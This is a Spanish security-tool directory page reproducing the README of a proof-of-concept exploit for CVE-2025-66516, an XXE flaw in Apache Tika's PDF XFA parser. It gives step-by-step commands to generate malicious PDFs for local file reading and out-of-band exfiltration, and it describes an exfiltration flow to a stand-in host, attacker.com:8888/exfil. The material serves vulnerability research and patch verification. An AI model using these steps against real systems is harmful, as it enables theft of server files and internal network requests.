Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-66516-POC — Un POC para la vulnerabilidad CVE-2025-66516 de Apache Tika únicamente con fines educativos. | Kitploit
Herramientas/GitHubGitHub/sid6224/cve-2025-66516-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

Un POC para la vulnerabilidad CVE-2025-66516 de Apache Tika únicamente con fines educativos.

Ver Repositorio
61hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

⚠️ LEA EL DESCARGO DE RESPONSABILIDAD ANTES DE USAR ⚠️

Solo pruebas educativas/autorizadas | Licencia | Política de seguridad


CVE Tika Severity XXE License Platform Java


Acerca de este PoC

Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE-2025-66516, una vulnerabilidad de inyección de entidad externa XML (XXE) en versiones de Apache Tika anteriores a 3.2.2. La vulnerabilidad afecta al analizador XFA (XML Forms Architecture) en el componente tika-parser-pdf-module, permitiendo a los atacantes leer archivos locales y exfiltrar datos sensibles mediante documentos PDF manipulados maliciosamente.

¿Qué es CVE-2025-66516?

CVE-2025-66516 es una vulnerabilidad de seguridad crítica en la funcionalidad de análisis de PDF de Apache Tika. Al procesar archivos PDF con formularios XFA incrustados, las versiones de Tika anteriores a 3.2.2 no restringen adecuadamente el procesamiento de entidades externas en los analizadores XML. Esto permite a los atacantes:

  • Leer archivos arbitrarios del sistema de archivos del servidor (divulgación de archivos locales)
  • Exfiltrar datos sensibles a servidores externos (XXE fuera de banda)
  • Realizar ataques SSRF activando solicitudes a recursos internos de la red
  • Eludir los controles de seguridad en aplicaciones que dependen de Tika para el procesamiento de documentos

Detalles de la Vulnerabilidad

  • ID de CVE: CVE-2025-66516
  • Componente afectado: Apache Tika tika-parser-pdf-module
  • Versiones afectadas: Apache Tika < 3.2.2
  • Versión parcheada: Apache Tika 3.2.2 y posteriores
  • Vector de ataque: PDF manipulado maliciosamente con formularios XFA que contienen cargas útiles XXE
  • Impacto: Violación de confidencialidad, exfiltración de datos, falsificación de solicitudes del lado del servidor (SSRF)
  • Severidad CVSS: Alta
  • CVE relacionado: CVE-2025-32370 (vulnerabilidad XXE similar en Tika)

Contenido del Repositorio

Este repositorio incluye:

  • gen_poc.py - Script de Python para generar PDFs maliciosos para ataques XXE de lectura de archivos locales
  • gen_oob_poc.py - Script de Python para generar PDFs para exfiltración de datos fuera de banda
  • http_listener.py - Servidor HTTP para demostrar la exfiltración de datos XXE fuera de banda
  • DocumentProcessor.java - Aplicación Java de ejemplo que muestra una integración vulnerable con Tika
  • Guía completa de reproducción paso a paso con salidas esperadas
  • Análisis técnico que compara versiones vulnerables y parcheadas
  • Documentación del flujo de ataque que explica el mecanismo de explotación

Palabras Clave

Apache Tika XXE, exploit de CVE-2025-66516, vulnerabilidad de seguridad de Tika, ataque de entidad externa XML, inyección XXE en PDF, vulnerabilidad de Tika 3.2.1, XXE fuera de banda, OOB XXE, investigación de seguridad, pruebas de penetración, exploit PoC, divulgación de vulnerabilidades, vulnerabilidad del analizador XFA, tika-parser-pdf-module, vulnerabilidad de divulgación de archivos, exfiltración de datos, ataque SSRF, codificación segura, análisis de vulnerabilidades, pruebas de seguridad, hacking ético, infosec, investigación en ciberseguridad, código de exploit de Apache Tika, carga útil XXE, seguridad de PDF, vulnerabilidad del analizador de documentos


Entorno Probado

Nota: Este PoC ha sido probado y verificado en:

  • Versiones de Apache Tika: 3.2.1 (vulnerable) y 3.2.2 (parcheada)
  • Sistema operativo: Linux - Ubuntu 24.04.3 LTS
  • Versión de Java: OpenJDK 17.0.17

Configurar el Directorio del PoC

Primero, cree un directorio dedicado para el PoC con el fin de mantener todos los archivos organizados.

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

Verificación del Entorno

Antes de continuar con el PoC, verifique que su entorno tenga las dependencias requeridas. Estos comandos mostrarán las versiones de su compilador/entorno de ejecución de Java y los detalles del sistema operativo, lo cual es importante para reproducir la vulnerabilidad.

root@kitploit:~
# Check Java version
java -version
javac -version

# Check OS version
lsb_release -a

Salida esperada: Debería ver la información de la versión de Java (por ejemplo, OpenJDK 17.x.x) y los detalles de la versión de Ubuntu (24.04.3 LTS).

Descargar los JARs de Apache Tika

Descargue tanto la versión vulnerable (3.2.1) como la parcheada (3.2.2) de Apache Tika. Necesitamos ambas versiones para demostrar que la vulnerabilidad XXE existe en 3.2.1 y está corregida en 3.2.2. El JAR tika-app es un ejecutable todo-en-uno que incluye todos los analizadores y dependencias de Tika.

root@kitploit:~
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# Download patched Tika version  
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

Salida esperada: Se descargarán dos archivos JAR - tika-app-3.2.1.jar (~75MB) y tika-app-3.2.2.jar (~75MB).

Verificar las Versiones de los Componentes

Verifique las versiones exactas inspeccionando los archivos de manifiesto de los JAR. Esto confirma que tenemos las versiones vulnerables y parcheadas correctas antes de realizar las pruebas.

root@kitploit:~
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

Salida esperada: Archivos de manifiesto que muestran Implementation-Version: 3.2.1 y 3.2.2 respectivamente, junto con marcas de tiempo de compilación y otros metadatos.

Listar las Propiedades POM de los Componentes

Si observamos los Modelos de Objeto de Proyecto (las propiedades POM de Maven definen las dependencias, la configuración de construcción y los metadatos de un proyecto), vemos que no hay tika-parsers separados como se menciona en los avisos de seguridad; podría ser algo relacionado con la versión, y la suposición es que en las versiones 3.2.1 y 3.2.2, que son parte del PoC, el módulo tika-parsers fue reemplazado por módulos de analizadores individuales.

root@kitploit:~
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

Salida esperada: Una lista de todos los módulos de componentes de Tika, incluyendo tika-core, tika-parser-pdf-module, tika-xmp, etc. Notará módulos de analizadores individuales en lugar de un único módulo tika-parsers.

Comprobar las Versiones de los Componentes de Tika

Extraiga y muestre la información de versión de los componentes principales de Tika. Esto nos ayuda a comprender la estructura interna de los módulos y a confirmar que tanto la biblioteca central como el módulo analizador de PDF están en las versiones esperadas.

root@kitploit:~
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

Salida esperada: Propiedades POM que muestran version=3.2.1 o version=3.2.2 para cada componente, separadas por ---. Los tres componentes (tika-core, tika-parser-pdf-module, tika-app) deben coincidir con la versión general.

Crear el Archivo Objetivo para la Explotación XXE

Cree un archivo de secretos falso que será el objetivo de nuestro ataque XXE. Este archivo simula datos sensibles (como claves de API o credenciales) que un atacante podría intentar exfiltrar a través de la vulnerabilidad XXE.

root@kitploit:~
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

Salida esperada: Un archivo llamado fake-secrets.txt que contiene la cadena INTERNAL_SERVER_KEY=EXPOSED. Este archivo será leído por el exploit XXE.

Análisis de Código: Comparación entre Versión Vulnerable y Parcheada

Para entender la corrección, necesitamos descompilar y comparar la clase XMLReaderUtils de ambas versiones. Esta clase es responsable de crear analizadores XML, y la vulnerabilidad se origina en cómo configura el procesamiento de entidades XML.

root@kitploit:~
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

Salida esperada: La extracción crea dos directorios con archivos de clase descompilados. El comando javap genera el desensamblado de bytecode de la clase XMLReaderUtils. El comando diff mostrará las diferencias en cómo se configura el analizador XML entre versiones.

Identificar la Corrección

Si comparamos cuidadosamente, encontramos que cualquier definición de Doctype (DTD) y el soporte de entidades externas están deshabilitados en 3.2.2; este es el núcleo de la corrección:

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

Salida esperada: Verá una salida de diff que muestra que la versión 3.2.2 agrega llamadas para deshabilitar el procesamiento de DTD y la resolución de entidades externas. Busque líneas que establezcan accessExternalDTD en cadena vacía y supportDTD en false.

PoC #1: XXE de Lectura de Archivos Locales

Esto demuestra el ataque XXE clásico donde un PDF malicioso lee un archivo local del sistema de archivos del servidor. El script de Python genera un PDF con un formulario XFA incrustado que contiene XML con una carga útil XXE que hace referencia a file:///fake-secrets.txt.

root@kitploit:~
# Generate malicious PDF
python3 ./gen_poc.py

# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

Salida esperada:

  • gen_poc.py crea cve_2025_66516_poc.pdf que contiene la carga útil XXE
  • Vulnerable (3.2.1): La salida de Tika incluirá INTERNAL_SERVER_KEY=EXPOSED - ¡el contenido del archivo secreto!
  • Parcheada (3.2.2): La salida de Tika NO contendrá los datos secretos; el ataque XXE está bloqueado

PoC #2: XXE Fuera de Banda

Esto demuestra un ataque XXE más sofisticado que utiliza exfiltración de datos fuera de banda (OOB). En lugar de reflejar el contenido del archivo en la respuesta, el PDF malicioso obliga a Tika a enviar los datos a un servidor externo controlado por el atacante. Esta técnica funciona incluso cuando la aplicación no devuelve el contenido analizado.

root@kitploit:~
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py

# Start HTTP listener (in separate terminal)
python3 ./http_listener.py

# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# Test OOB XXE with patched Tika 3.2.2  
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

Salida esperada:

  • gen_oob_poc.py crea cve-2025-66516_OOB_XXE.pdf con la carga útil XXE fuera de banda
  • http_listener.py inicia un servidor en el puerto 8888 y espera solicitudes entrantes
  • Vulnerable (3.2.1): El listener HTTP recibirá dos solicitudes:
    1. Solicitud GET para /evil.dtd (obtención de DTD externa)
    2. Solicitud GET a /exfil?data=INTERNAL_SERVER_KEY=EXPOSED (exfiltración de datos)
  • Parcheada (3.2.2): No se reciben solicitudes HTTP; el procesamiento de entidades externas está bloqueado

Pruebas a Nivel de Aplicación

Esto prueba la vulnerabilidad en un escenario más realista donde Tika se utiliza como biblioteca dentro de una aplicación Java (no solo como herramienta de línea de comandos). El código DocumentProcessor.java simula cómo una aplicación típica podría integrar Tika para el análisis de documentos.

root@kitploit:~
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

Salida esperada:

  • Vulnerable (3.2.1): El programa imprimirá:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • Parcheada (3.2.2): El programa imprimirá:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text WITHOUT secret data]
    ✓ No XXE vulnerability detected.
    

Limpieza

Elimine los directorios y archivos temporales creados durante la fase de análisis para mantener el espacio de trabajo limpio.

root@kitploit:~
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

Salida esperada: Se eliminarán los directorios y los archivos de texto descompilados. No se muestra ninguna salida a menos que haya un error.


Comprender el Flujo del Ataque

Secuencia del Ataque XXE al Sistema de Archivos Local

  1. El PDF contiene una secuencia XFA con declaración DOCTYPE + ENTITY
  2. Tika detecta XFA → llama a XFAExtractor
  3. XFAExtractor crea el analizador XML mediante XMLReaderUtils
  4. El analizador procesa el DOCTYPE, registra la entidad xxe
  5. El analizador encuentra la referencia &xxe;
  6. El analizador resuelve la entidad → lee file:///fake-secrets.txt
  7. El contenido del archivo se inserta en el XML en la ubicación de &xxe;
  8. XFAExtractor extrae el valor del campo = contenido del archivo
  9. La aplicación recibe los datos secretos en la salida de Tika

Secuencia del Ataque XXE Fuera de Banda (OOB)

  1. El PDF contiene XFA con DOCTYPE que declara entidades de parámetro (%file, %dtd)
  2. Tika detecta XFA → llama a XFAExtractor
  3. XFAExtractor crea el analizador XML mediante XMLReaderUtils
  4. El analizador procesa el DOCTYPE, registra la entidad %file → apunta a file:///fake-secrets.txt
  5. El analizador encuentra la referencia %dtd; → apunta a http://attacker.com:8888/evil.dtd
  6. El analizador realiza una solicitud HTTP GET al servidor del atacante para obtener evil.dtd
  7. El servidor HTTP del atacante recibe la solicitud y sirve el contenido de evil.dtd
  8. El analizador procesa evil.dtd: define la entidad %payload que contiene la definición &send
  9. evil.dtd expande %payload → crea la entidad &send con la URL de exfiltración
  10. La entidad &send contiene: http://attacker.com:8888/exfil?data=%file;
  11. El analizador expande %file; dentro de la URL &send → se inserta el contenido del archivo
  12. El analizador resuelve la entidad &send; → realiza una solicitud HTTP GET al endpoint de exfiltración
  13. El servidor HTTP del atacante recibe la solicitud /exfil con el contenido del archivo en el parámetro de la URL
  14. El atacante extrae los datos del parámetro de la URL y registra el contenido del archivo secreto
  15. La salida de la aplicación es irrelevante → los datos ya fueron exfiltrados al servidor del atacante

Referencias

Avisos de Seguridad Oficiales

  • Página de Seguridad de Apache Tika: https://tika.apache.org/security.html
  • NVD - CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • Base de datos CVE de MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika GitHub: https://github.com/apache/tika

Vulnerabilidades Relacionadas

  • CVE-2025-54988 - Identificador CVE anterior que CVE-2025-66516 reemplaza (misma vulnerabilidad, renumerada)
  • CVE-2025-32370 - Vulnerabilidad XXE similar en Apache Tika
  • Guía OWASP de XXE: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

Recursos Técnicos

  • Documentación de Apache Tika: https://tika.apache.org/
  • Técnicas de Ataque XXE: https://portswigger.net/web-security/xxe
  • Especificación XFA de PDF: Especificación de Adobe XML Forms Architecture (XFA)
  • Análisis de Seguridad de Upwind: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (Referencia del código de la aplicación)

Divulgación Responsable

Si descubre vulnerabilidades de seguridad, por favor repórtelas de manera responsable:

  • Equipo de Seguridad de Apache: [email protected]
  • Equipo de Apache Tika: https://tika.apache.org/mail-lists.html

Etiquetas

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration


Licencia

Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para obtener más detalles.

Solo para uso educativo - Este PoC está destinado únicamente a fines educativos y pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posee o para los cuales no tiene permiso de prueba es ilegal.


Contribuciones

¡Las contribuciones para mejorar este PoC o la documentación son bienvenidas! Asegúrese de que cualquier contribución:

  • Siga las prácticas de divulgación responsable
  • Incluya los descargos de responsabilidad adecuados
  • No incluya código malicioso más allá de la demostración educativa
  • Mantenga el enfoque en el valor educativo

Agradecimientos

  • Al equipo de seguridad de Apache Tika por su trabajo en la corrección de esta vulnerabilidad
  • A la comunidad de investigación de seguridad por las prácticas de divulgación responsable de vulnerabilidades
  • A los contribuyentes de este repositorio

Última actualización: diciembre de 2025

Descargar herramienta
ssrf
oob-xxe
file-disclosure
secure-coding
vulnerability-analysis
security-testing
exploit-development
red-team
blue-team
appsec
document-parsing
java-security